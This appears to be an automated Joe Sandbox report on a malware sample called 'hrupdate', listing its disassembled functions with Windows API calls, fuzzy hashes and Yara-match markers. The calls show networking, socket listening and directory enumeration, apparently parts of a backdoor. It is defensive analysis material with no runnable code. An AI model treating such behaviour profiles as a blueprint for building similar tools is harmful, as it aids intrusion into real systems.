Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc$__time64$LocalTime__snprintf$_memset$ExitObjectSingleSleepThreadUserWait_realloc_strtok
String ID:
API String ID: 4021925118-0
Opcode ID: ec660f420a4f200a0fc240e10b0e6fea5b2003342425b868a8c76b699b96dbe1
Instruction ID: f403b56c44edf3f7eb4d64ac8d5f5cd27d0ef94c6c1702560313367b0e2d9f5a
Opcode Fuzzy Hash: ec660f420a4f200a0fc240e10b0e6fea5b2003342425b868a8c76b699b96dbe1
Instruction Fuzzy Hash: C6D1E272D04614AAFF247BB4DD05BAD77E8EF11718F14041EE900AA2C0FEB9FE518A58

Function 0469CE03 Relevance: 12.1, APIs: 8, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetACP.KERNEL32(00000080,00000000,00000000,?,?,?,?,?,?,?,?,0469469C,00000000,00000000), ref: 0469CE0C
GetOEMCP.KERNEL32(?,?,?,?,?,?,?,?,0469469C,00000000,00000000), ref: 0469CE18
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0469469C,00000000), ref: 0469CE45
GetTickCount.KERNEL32 ref: 0469CE49

Part of subcall function 046AEFA9: __getptd.LIBCMT ref: 046AEFAE

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0469469C,00000000), ref: 0469CE76
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,0469469C,00000000), ref: 0469CEDC
_memset.LIBCMT ref: 0469CF13
_memset.LIBCMT ref: 0469CF52

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CurrentProcess$_memset$CountTick__getptd
String ID:
API String ID: 3908538216-0
Opcode ID: 2007370adba29a340545ea1c45331d81f34169019f1bee4b2d970a4aa3439bd1
Instruction ID: f0562555e1e36c359e704b702ad15f83401b9ddbd2355fc0148e72dd2bf221c3
Opcode Fuzzy Hash: 2007370adba29a340545ea1c45331d81f34169019f1bee4b2d970a4aa3439bd1
Instruction Fuzzy Hash: 9631A7728003086AFF10BBB4EC49ADE3BACDF04258F14406AF505EB181FEB9ED548669

Function 00671A20 Relevance: 12.1, APIs: 8, Instructions: 74
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003E8), ref: 00671A52
SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00671A64
KillTimer.USER32(?,00000001), ref: 00671A72
KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 00671A7B
DialogBoxParamW.USER32(00000081,?,00671B00,00000000), ref: 00671A94
SetTimer.USER32(?,00000001,000003E8,00000000), ref: 00671ACE
EndDialog.USER32(?,00000000), ref: 00671AE4

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: DialogTimer$CallbackDispatcherItemKillMessageParamSendUser
String ID:
API String ID: 182125530-0
Opcode ID: 59829460a26950b88ddc6779c8303e42671a105a08222060b0311952ee9d5427
Instruction ID: ced6c8c9a6b68e16a525df826d5d6fd3b3fd5d0b65a0e6c326392ef0875cff41
Opcode Fuzzy Hash: 59829460a26950b88ddc6779c8303e42671a105a08222060b0311952ee9d5427
Instruction Fuzzy Hash: FC118E3339020467E7145B5CEC0DFDA7B1ADB65B22F008022F709E90E1DBE1A8D29658

Function 00671900 Relevance: 10.6, APIs: 7, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 0067193E
DefWindowProcW.USER32(?,00000111,?,?), ref: 00671970
BeginPaint.USER32(?,?), ref: 006719D3
EndPaint.USER32(?,?), ref: 006719DF
PostQuitMessage.USER32(00000000), ref: 006719FB

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: PaintProcWindow$BeginMessagePostQuit
String ID:
API String ID: 3181456275-0
Opcode ID: f6018c1e960eeaf8385a6c1b24fcf489b0c707f131cff48e9847eea00bd0d50f
Instruction ID: 0ba000b463e3170a7db309d8c4339b799e694b9e476bb3d9143211ef55e06f46
Opcode Fuzzy Hash: f6018c1e960eeaf8385a6c1b24fcf489b0c707f131cff48e9847eea00bd0d50f
Instruction Fuzzy Hash: F521A7312141099BC724EF68DC2AAFA779ADF4E311F40450AF94AD6291DF619860C7D6

Function 00672B00 Relevance: 10.6, APIs: 7, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Mtx_lock.MSVCP140(?,A92820B5,?,?,?,?,00673EB0,000000FF), ref: 00672B3B
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00672B4F
_Cnd_signal.MSVCP140 ref: 00672B5B
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000,00000000), ref: 00672B69
_Mtx_unlock.MSVCP140(00000000,00000000), ref: 00672B71
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00672B7F
_Cnd_do_broadcast_at_thread_exit.MSVCP140 ref: 00672B8B

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: C_error@std@@Throw_$Cnd_do_broadcast_at_thread_exitCnd_signalMtx_lockMtx_unlock
String ID:
API String ID: 35399794-0
Opcode ID: 09e0854a1c2a98200039bd963849e3d5266268137b4b8b1609d6607d087cb959
Instruction ID: 0d203c72ab39a7303360288dc674185af27bacade0f717779cd77d860e5d3bf2
Opcode Fuzzy Hash: 09e0854a1c2a98200039bd963849e3d5266268137b4b8b1609d6607d087cb959
Instruction Fuzzy Hash: BE11C4B1900605EBD7045F65EC05F4AB7AAFF00724F044235ED1D93350DB39E968C6EA

Function 0469DC39 Relevance: 9.1, APIs: 6, Instructions: 113
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0469DC5D

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

htonl.WS2_32(046DAEF0), ref: 0469DC89
recvfrom.WS2_32(676494AD,046DAEF0,000FFFFC,00000000,?,?), ref: 0469DCB8
WSAGetLastError.WS2_32 ref: 0469DCC3

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AllocateErrorHeapLast_mallochtonlrecvfrom
String ID:
API String ID: 987280018-0
Opcode ID: 9678f4708aa8f24e2e711be6e40c1ab2691581d8444103db4c6e2821c5fe7046
Instruction ID: 01f2b1df015369b3283d40045574539d187f05ddd6b345b4d5f2d12a39358574
Opcode Fuzzy Hash: 9678f4708aa8f24e2e711be6e40c1ab2691581d8444103db4c6e2821c5fe7046
Instruction Fuzzy Hash: F741C3B1D00600EFEF258FA4D900A6A77F8EB50368F24426EE511A7290F3B4BD45DB40

Function 00672DCF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,006727F7,00000000,00000000,?,?,?,00000000), ref: 00672DD7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,006727F7,00000000,00000000,?,?,?,00000000), ref: 00672DE4
_CxxThrowException.VCRUNTIME140(00000000,00674C5C,00000000), ref: 0067328C
_CxxThrowException.VCRUNTIME140(00000000,00674CB0,00000000), ref: 006732A9

Strings

Unknown exception, xrefs: 006732B6

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID: Unknown exception
API String ID: 4113974480-410509341
Opcode ID: cd49b769edc4c74584dfe839b8cba9176470a98ec606c253bbad09716d1efd83
Instruction ID: 1e53c79c9219640709cdc5fe8bdc074ae31b8e2b5b2e80a49cbcced4b7bed4e5
Opcode Fuzzy Hash: cd49b769edc4c74584dfe839b8cba9176470a98ec606c253bbad09716d1efd83
Instruction Fuzzy Hash: D4F0C83490021EB7CF14BAE4E85BA9D776E9E00310B60C168F92C96392FF71DB55A5D4

Function 04697388 Relevance: 4.6, APIs: 3, Instructions: 68networkCOMMON

Download Yara Rule

APIs

Part of subcall function 046972DB: WSAStartup.WS2_32(00000202,?), ref: 046972FC
Part of subcall function 046972DB: WSACleanup.WS2_32 ref: 04697306

WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 046973AC
WSAIoctl.WS2_32(00000000,4004747F,00000000,00000000,?,000005F0,00000001,00000000,00000000), ref: 046973D7
closesocket.WS2_32(00000000), ref: 04697416

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CleanupIoctlSocketStartupclosesocket
String ID:
API String ID: 1100289767-0
Opcode ID: 730618842d4896ce921020d42c0e1c03074ff07817c521891b671c48d90ced2b
Instruction ID: 3360419639fd02b63694f65e7e31953374672c71655803faceed7fe17870fa97
Opcode Fuzzy Hash: 730618842d4896ce921020d42c0e1c03074ff07817c521891b671c48d90ced2b
Instruction Fuzzy Hash: 1511EB31710218BBEB208E65CC88FFB7FEDDF857A2F004025F609C2181F674AC418960

Function 04696BC4 Relevance: 3.1, APIs: 2, Instructions: 54networkCOMMON

Download Yara Rule

APIs

InternetSetOptionA.WININET(00000000,00000005,0003A980,00000004), ref: 04696C21
InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 04696C31

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: InternetOption
String ID:
API String ID: 3327645240-0
Opcode ID: 5af060adb2f272de5ac62e5b97abf5c66943b6c8e233d38e74597abaace99b30
Instruction ID: 0bebca4fc4591970bc3aff14af0dd80e62c7ea46811936b39983fe6565a4c026
Opcode Fuzzy Hash: 5af060adb2f272de5ac62e5b97abf5c66943b6c8e233d38e74597abaace99b30
Instruction Fuzzy Hash: 9F01DBA5A4176CF6EF316B60ED09FFA7A9CD711B54F400015B601DA1D0F6F4AE50A6D0

Function 04699DA9 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04699DCA
_memset.LIBCMT ref: 04699DE0

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc_memset
String ID:
API String ID: 4137368368-0
Opcode ID: bd2c0968d70933de71f735b608e66aa7a97fb2dcebf71dbb3f572718e7a1dbbe
Instruction ID: 75f3e97fef6ad50c001969696916805ceb40f7ebd2cabb12e2da939dcc9739a3
Opcode Fuzzy Hash: bd2c0968d70933de71f735b608e66aa7a97fb2dcebf71dbb3f572718e7a1dbbe
Instruction Fuzzy Hash: FB016DB1A05A109FE720AFA4EC40B577BE8EF54759F00452EE84997340F779BC1A8F98

Function 04696C3F Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

Part of subcall function 04696BC4: InternetSetOptionA.WININET(00000000,00000005,0003A980,00000004), ref: 04696C21
Part of subcall function 04696BC4: InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 04696C31

InternetSetOptionA.WININET(00000000,0000002B,00000000,00000000), ref: 04696CA1
InternetSetOptionA.WININET(0000002C,00000000,00000000), ref: 04696CBD

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: InternetOption
String ID:
API String ID: 3327645240-0
Opcode ID: 2353327cdd1e553b8b62b5f830da047a9a408e462482d77d8b9e5079140f11c4
Instruction ID: 65e8aa805e08870183f782c465055b4d025318735ab3e9fbf58133a8a3b731bf
Opcode Fuzzy Hash: 2353327cdd1e553b8b62b5f830da047a9a408e462482d77d8b9e5079140f11c4
Instruction Fuzzy Hash: 6A018B71A45754B6FF307B74AC05FA53B8DDB00768F10541AF900591C1FDB9EC909E98

Function 00F3C085 Relevance: 3.0, APIs: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00040000,00000000,00000000,?,00000004,?), ref: 00F3C0A3
RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00F3C0B8

Memory Dump Source

Source File: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f30000_hrupdate.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCreate
String ID:
API String ID: 2875408731-0
Opcode ID: a1d591106e10ad5d9a199ab925d8206d06663360d4494dab4b31c1a7f6544c4c
Instruction ID: bd44e0d39c3bb3f05f0b3ebeddbb53e393fec294f036436bc5199bfaa5c12aaa
Opcode Fuzzy Hash: a1d591106e10ad5d9a199ab925d8206d06663360d4494dab4b31c1a7f6544c4c
Instruction Fuzzy Hash: BC1143B8A00209AFDB04CF44D496B9ABBB1FB58354F1081A9ED089B391D771A995CFD0

Function 0469DD89 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 0469D902: htonl.WS2_32(0469489E), ref: 0469D93C
Part of subcall function 0469D902: select.WS2_32(00000000,?,?,?,?), ref: 0469D9A0
Part of subcall function 0469D902: __WSAFDIsSet.WS2_32(34E85900,?), ref: 0469D9BC
Part of subcall function 0469D902: accept.WS2_32(34E85900,00000000,00000000), ref: 0469D9D1
Part of subcall function 0469D902: ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 0469D9E4

GetTickCount.KERNEL32 ref: 0469DD97

Part of subcall function 0469DC39: _malloc.LIBCMT ref: 0469DC5D
Part of subcall function 0469DC39: htonl.WS2_32(046DAEF0), ref: 0469DC89
Part of subcall function 0469DC39: recvfrom.WS2_32(676494AD,046DAEF0,000FFFFC,00000000,?,?), ref: 0469DCB8
Part of subcall function 0469DC39: WSAGetLastError.WS2_32 ref: 0469DCC3

GetTickCount.KERNEL32 ref: 0469DDAA

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTickhtonl$ErrorLast_mallocacceptioctlsocketrecvfromselect
String ID:
API String ID: 597769433-0
Opcode ID: cd64c52258221071affa8da24593c197c077184f0c2cff5cbf06565508432017
Instruction ID: ac565580b835b0a2d835fa41f08a982a2239b69f5f760debb7e7330aaeeb592a
Opcode Fuzzy Hash: cd64c52258221071affa8da24593c197c077184f0c2cff5cbf06565508432017
Instruction Fuzzy Hash: B2D0A982A1102809BB0037A5AC404AE4BCD8A824B8338003FE040C2200FEC8BC0647BA

Function 046A6ECA Relevance: 1.8, APIs: 1, Instructions: 257COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 046A6F2C

Part of subcall function 046BCB50: __calloc_impl.LIBCMT ref: 046BCB65

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: __calloc_impl_calloc
String ID:
API String ID: 2108883976-0
Opcode ID: 600ae0fb66e5a81b39ab67434c6ff557fde242639536df2de6a63d6d8bbdb05e
Instruction ID: 7f168a712908f7e21554c585a93a7d63fd0470b0228600db7448a274df0bbbd8
Opcode Fuzzy Hash: 600ae0fb66e5a81b39ab67434c6ff557fde242639536df2de6a63d6d8bbdb05e
Instruction Fuzzy Hash: C9A119B1900608EFDF259F94CC45EAEBBB6FF89300F104599E541AB250E772AD91DF60

Function 00F3C365 Relevance: 1.6, APIs: 1, Instructions: 136libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,00F3BCAB,AAAABBBB,?,?,?,?), ref: 00F3C3D6

Memory Dump Source

Source File: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f30000_hrupdate.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 52b2a5cd8be6c39a7177695a6cfaf2b078eabeb2ff83b80fc3f6fd0b178b378e
Instruction ID: 1039fb296e5c883795e4866e251e5c07380bc9773e266b3fd723372186c408fd
Opcode Fuzzy Hash: 52b2a5cd8be6c39a7177695a6cfaf2b078eabeb2ff83b80fc3f6fd0b178b378e
Instruction Fuzzy Hash: B751EA75A0010ADFCF04CF98C890AAEB7B1FF88314F2481A9D915AB355D734AE51DF90

Function 046957F4 Relevance: 1.6, APIs: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

InternetConnectA.WININET(046DA658,?,?,00000000,00000000,00000003,00000000,046DA668), ref: 046958B5

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A048

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A09F

Part of subcall function 04699F1A: _malloc.LIBCMT ref: 04699F5B
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699F6C
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699FB7
Part of subcall function 04699F1A: _memset.LIBCMT ref: 0469A00C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc_memset$ConnectInternet
String ID:
API String ID: 3195992531-0
Opcode ID: 47bb71635ee546373b5158b663072026b9da5b489052d683b770be4a61a873ec
Instruction ID: 4b079f4a1ab064be7a9a1ee773e556f1dd1b91c6805042ece113fc564a83ce29
Opcode Fuzzy Hash: 47bb71635ee546373b5158b663072026b9da5b489052d683b770be4a61a873ec
Instruction Fuzzy Hash: 3C116A92A032207AEB603EE25C49EE73ECCDF276E8F001424BA0D55182F4BD9D1483F5

Function 0469F638 Relevance: 1.6, APIs: 1, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32(?), ref: 0469F6B2

Part of subcall function 046A15AD: _memset.LIBCMT ref: 046A15CD

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: DestroyHeap_memset
String ID:
API String ID: 3970643317-0
Opcode ID: bed628a4d13ad085a4afe248a82b35631558d55bd5cf806b867f8d6943affbbc
Instruction ID: 2feeb952a9fe68161ef0709712cbffe1777421043f9437f91dd1d1b01a0a9f56
Opcode Fuzzy Hash: bed628a4d13ad085a4afe248a82b35631558d55bd5cf806b867f8d6943affbbc
Instruction Fuzzy Hash: 9C11E731604304ABDF38AE249C44F7A33DCEB26724F260019FC04C52A1FAA5FD519A99

Function 04695770 Relevance: 1.6, APIs: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(?,?,04694826,00000000,00000000), ref: 046957EB

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A048

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A09F

Part of subcall function 04699F1A: _malloc.LIBCMT ref: 04699F5B
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699F6C
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699FB7
Part of subcall function 04699F1A: _memset.LIBCMT ref: 0469A00C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc_memset$InternetOpen
String ID:
API String ID: 4223322473-0
Opcode ID: 3b7383c0a64973effe46d03d708316799d76624455a7010247f3b4afdc3d410c
Instruction ID: bc465f471f5d261f6b5d68f9f57fa09cacdbbbac6e68b66630c9dcb53c5d5edc
Opcode Fuzzy Hash: 3b7383c0a64973effe46d03d708316799d76624455a7010247f3b4afdc3d410c
Instruction Fuzzy Hash: 400184A25021647ADF613EA29C88CEB3EDCEF272F8B000018F90D85151F56A9D24C6F4

Function 046AA0E8 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 046AA0EF

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: ad8a498fba999602ffd9deb04c9b15af916676bd3c418e5468ca25e17563959e
Instruction ID: ea2744c67a1ae8dcd135511c495c51b794e48a67399bf2849dacbbae745107df
Opcode Fuzzy Hash: ad8a498fba999602ffd9deb04c9b15af916676bd3c418e5468ca25e17563959e
Instruction Fuzzy Hash: 94E0BF72208A019FE768CF6CF844616B7E1AB85734B24CE3FD09AD7794E634E8918B14

Function 00B10B00 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 00B10B1F

Memory Dump Source

Source File: 00000000.00000002.3896804996.0000000000B10000.00000020.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_hrupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bc9552c2b311404d09daf3ba76ae2ef43201ff9fdafa701454f815beffcc5e84
Instruction ID: 3ae39de76a14803aa33e4869a6e045b9adf91af7ce5611a8f7c32783169ca313
Opcode Fuzzy Hash: bc9552c2b311404d09daf3ba76ae2ef43201ff9fdafa701454f815beffcc5e84
Instruction Fuzzy Hash: 24F090B1914208EBDB04FF54E845AD6B7A9AB5034CF84C1A4F80E4F202C771EAC0CBC0

Function 04699AAE Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(046D6318,00000000,0469498F), ref: 04699ACF

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1280178566e06b75fd48ba5c24b2b841cb9c2f37d9457202bcf53a275211dca3
Instruction ID: 9ce966c649fda40707cd2451fd84485aa1f337625f46b0e74adb80589e3ab9c3
Opcode Fuzzy Hash: 1280178566e06b75fd48ba5c24b2b841cb9c2f37d9457202bcf53a275211dca3
Instruction Fuzzy Hash: 90D0A9D0000A0228EE086720A814B4B12CCCF21336B24000EF009C8B80FFA8EC898029

Non-executed Functions

Function 04699839 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 172filetimeCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0469984B

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

_memset.LIBCMT ref: 04699857

Part of subcall function 046958BF: _malloc.LIBCMT ref: 046958C5

Part of subcall function 0469590F: htonl.WS2_32(00000000), ref: 04695915

_strncmp.LIBCMT ref: 046998A6
GetCurrentDirectoryA.KERNEL32(00004000,00000000), ref: 046998B4

Part of subcall function 046AE93E: __lock.LIBCMT ref: 046AE95C
Part of subcall function 046AE93E: ___sbh_find_block.LIBCMT ref: 046AE967
Part of subcall function 046AE93E: ___sbh_free_block.LIBCMT ref: 046AE976
Part of subcall function 046AE93E: HeapFree.KERNEL32(00000000,?,046C95B0,0000000C,046B1056,00000000,046C9760,0000000C,046B1090,?,?,?,046BC35D,00000004,046C9A70,0000000C), ref: 046AE9A6
Part of subcall function 046AE93E: GetLastError.KERNEL32(?,046BC35D,00000004,046C9A70,0000000C,046B7A28,?,?,00000000,00000000,00000000,?,046B05CF,00000001,00000214), ref: 046AE9B7

FindFirstFileA.KERNEL32(00000000,?), ref: 046998E5
GetLastError.KERNEL32 ref: 046998F2
FileTimeToSystemTime.KERNEL32(?,?), ref: 0469993E
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 0469994E
FindNextFileA.KERNEL32(00000000,00000010), ref: 046999E1
FindClose.KERNEL32(00000000), ref: 046999F0

Part of subcall function 04695A19: _vwprintf.LIBCMT ref: 04695A23
Part of subcall function 04695A19: _vswprintf_s.LIBCMT ref: 04695A47

Strings

%s, xrefs: 046998CF
D0%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 04699985
F%I64d%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 046999CB
.\*, xrefs: 046998A0

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Time$FileFind$ErrorHeapLastSystem_malloc$AllocateCloseCurrentDirectoryFirstFreeLocalNextSpecific___sbh_find_block___sbh_free_block__lock_memset_strncmp_vswprintf_s_vwprintfhtonl
